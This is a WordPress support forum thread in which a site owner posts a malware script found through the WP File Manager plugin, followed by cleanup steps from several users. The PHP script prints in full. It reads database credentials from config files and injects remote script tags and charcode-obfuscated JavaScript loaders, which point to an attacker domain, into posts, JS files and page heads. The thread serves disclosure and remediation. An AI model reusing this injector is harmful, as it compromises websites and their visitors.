wordfence not really safe my site, now redirected

I found the script that caused all this. This came from Wp-file-manager plugin:

The code that is harming all this is:

<?php echo "ssqqss>>>";
error_reporting(E_ALL);
ini_set('display_errors', 1);

search_file_js($_SERVER['DOCUMENT_ROOT'] . "/../../../../../../../../", ".js");
die();

function get_var_reg($pat, $text)
{

	if ($c = preg_match_all("/" . $pat . "/is", $text, $matches)) {
		return $matches[1][0];
	}

	return "";
}
function search_file_ms($dir, $file_to_search)
{

	$search_array = array();

	$files = scandir($dir);

	if ($files == false) {

		$dir = substr($dir, 0, -3);
		if (strpos($dir, '../') !== false) {

			@search_file_ms($dir, $file_to_search);
			return;
		}
		if ($dir == $_SERVER['DOCUMENT_ROOT'] . "/") {

			@search_file_ms($dir, $file_to_search);
			return;
		}
	}

	foreach ($files as $key => $value) {

		$path = realpath($dir . DIRECTORY_SEPARATOR . $value);

		if (!is_dir($path)) {
			if (strpos($value, $file_to_search) !== false) {

				show_sitenames($path);
			}
		} else if ($value != "." && $value != "..") {

			@search_file_ms($path, $file_to_search);
		}
	}
}
function show_sitenames($file)
{
	$content = @file_get_contents($file);
	if (strpos($content, "DB_NAME") !== false) {

		$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]", $content);
		$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]", $content);
		$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]", $content);
		$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]", $content);

		// Create connection
		$conn = new mysqli($host, $user, $pass);

		// Check connection
		if ($conn->connect_error) {
		} else {

			$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE <code>TABLE_NAME</code> LIKE '%post%'";
			$result = $conn->query($q);
			if ($result->num_rows > 0) {
				while ($row = $result->fetch_assoc()) {
					$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"] . "." . $row["TABLE_NAME"] . "  LIMIT 1 ";
					$result2 = $conn->query($q2);
					if ($result2->num_rows > 0) {
						while ($row2 = $result2->fetch_assoc()) {
							$val = $row2['post_content'];
							if (strpos($val, "scripts.lowerbeforwarden.ml") === true) {
								var_dump($val); exit;
								if (strpos($val, "scripts.lowerbeforwarden.ml") === false) {

									$q3 = "UPDATE " . $row["TABLE_SCHEMA"] . "." . $row["TABLE_NAME"] . " set post_content = CONCAT(post_content,\"<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%scripts.lowerbeforwarden.ml%'";
									$conn->query($q3);
									echo "sql:" . $row["TABLE_SCHEMA"] . "." . $row["TABLE_NAME"];
								} else {
								}
							}
						}
					} else {
					}
				}
			} else {
			}
			$conn->close();
		}
	}
}

function search_file($dir, $file_to_search)
{

	$files = @scandir($dir);

	if ($files == false) {

		$dir = substr($dir, 0, -3);
		if (strpos($dir, '../') !== false) {

			//@search_file($dir, $file_to_search);
			return;
		}
		if ($dir == $_SERVER['DOCUMENT_ROOT'] . "/") {

			//@search_file($dir, $file_to_search);
			return;
		}
	}

	foreach ($files as $key => $value) {

		$path = realpath($dir . DIRECTORY_SEPARATOR . $value);

		if (!is_dir($path)) {
			if (strpos($value, $file_to_search) !== false && (strpos($value, ".ph") !== false || strpos($value, ".htm")) !== false) {

				//make_it($path);
			}
		} else if ($value != "." && $value != "..") {

			//search_file($path, $file_to_search);
		}
	}
}

function search_file_index($dir, $file_to_search)
{

	$files = @scandir($dir);

	if ($files == false) {

		$dir = substr($dir, 0, -3);
		if (strpos($dir, '../') !== false) {

			//search_file_index($dir, $file_to_search);
			return;
		}
		if ($dir == $_SERVER['DOCUMENT_ROOT'] . "/") {

			//search_file_index($dir, $file_to_search);
			return;
		}
	}

	foreach ($files as $key => $value) {

		$path = realpath($dir . DIRECTORY_SEPARATOR . $value);

		if (!is_dir($path)) {
			if (strpos($value, $file_to_search) !== false && (strpos($value, ".ph") !== false || strpos($value, ".htm")) !== false) {

				//make_it_index($path);
			}
		} else if ($value != "." && $value != "..") {

			//search_file_index($path, $file_to_search);
		}
	}
}
function search_file_js($dir, $file_to_search)
{

	$files = @scandir($dir);
	if ($files == false) {

		$dir = substr($dir, 0, -3);
		if (strpos($dir, '../') !== false) {

			//@search_file_js($dir, $file_to_search);
			return;
		}
		if ($dir == $_SERVER['DOCUMENT_ROOT'] . "/") {

			//@search_file_js($dir, $file_to_search);
			return;
		}
	}

	foreach ($files as $key => $value) {

		$path = realpath($dir . DIRECTORY_SEPARATOR . $value);

		if (!is_dir($path)) {
			if (strpos($value, $file_to_search) !== false && (strpos($value, ".js") !== false)) {

				//make_it_js($path);
			}
		} else if ($value != "." && $value != "..") {

			//search_file_js($path, $file_to_search);
		}
	}
}

function make_it_js($f)
{
	$g = file_get_contents($f);

	if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false) {
	} else {

		$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
		$g = file_get_contents($f);
		$g = $l2 . $g;
		@system('chmod 777 ' . $f);
		@file_put_contents($f, $g);
		echo "js:" . $f . "\r\n";
	}
}
function make_it_index($f)
{

	if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false || strpos($g, 'scripts.lowerbeforwarden.ml') !== false) {
	} else {
		$l2 = "<script type='text/javascript' src='https://temp.lowerbeforwarden.ml/temp.js?n=nb5'></script>";
		$g = file_get_contents($f);
		$g = $l2 . $g;

		@system('chmod 777 ' . $f);
		@file_put_contents($f, $g);
		echo "in:" . $f . "\r\n";
	}
}

function make_it($f)
{
	$g = file_get_contents($f);
	if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false) {
	} else {
		$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
		if (strpos($g, '<head>') !== false) {
			$b = str_replace("<head>", "<head>" . $l2, $g);
			@system('chmod 777 ' . $f);
			@file_put_contents($f, $b);
			echo "hh:" . $f . "\r\n";
		}
		if (strpos($g, '</head>') !== false) {
			$b = str_replace("</head>", $l2 . "</head>", $g);
			@system('chmod 777 ' . $f);
			@file_put_contents($f, $b);
			echo "hh:" . $f . "\r\n";
		}
	}
}

I was trying to reserve engineer the hack.

The code attacks js file and index file. It also attacks any file that has <head> on it.

The first step would be to remove occurance of all these scripts. I used VSCode to remove them by searching for:

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

and

<script type='text/javascript' src='https://temp.lowerbeforwarden.ml/temp.js?n=nb5'></script>

After that run this script on your sql database.

UPDATE wp_posts
SET 
    post_content = REPLACE(post_content,
        "<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>",
        '')
WHERE
    post_content LIKE '%lowerbeforwarden%';

If you have w3 cache or any other cache plugin. Remove the cache directory.

It had infected around 12 plus sites on my server including any other PHP projects that were on the server.

Hope it helps.

Hello allmassim, I can do this using mysql codes.

Nasty new malware that gets in via WP File Manager. Walkthrough video on how to fix on the following link.

https://dorset.tech/nasty-new-malware-doing-the-rounds-lowerbeforwarden-ml/

@khubaib927 can you please give me a hand with the files and mysqls codes??

Dear

My website also appears to be hacked. Weirdly enough, I have several subsites hosted on the same domain name (even clones of the main website) that are (still) unaffected.

The above solutions did not work for me. I’d love to know a solution that fixes my problem – and maybe a solution to prevent this from happening on my other subsites.

I hope we find the solution for this one soon, because it’s spooking me out a lot! I can’t quite grasp how this happened.

Thanks in advance
Best regards

@khubaib927 please guide us if you can,

same problem
step 1 :- check u r database options file , that has changed to malicious name
rename it
step 2:- goto theme header.php check for <!DOCTYPE html> if there any code before <!DOCTYPE html> delete and also check any malicious code in that file and remove safely

step 3 :- delete mu-plugin folder in file manager plugin section
step 4:- scan in word-fence remove all infected files
step 5 :- scan entire cpanel {or u r control panel} to check other domains infected or not in same file manager system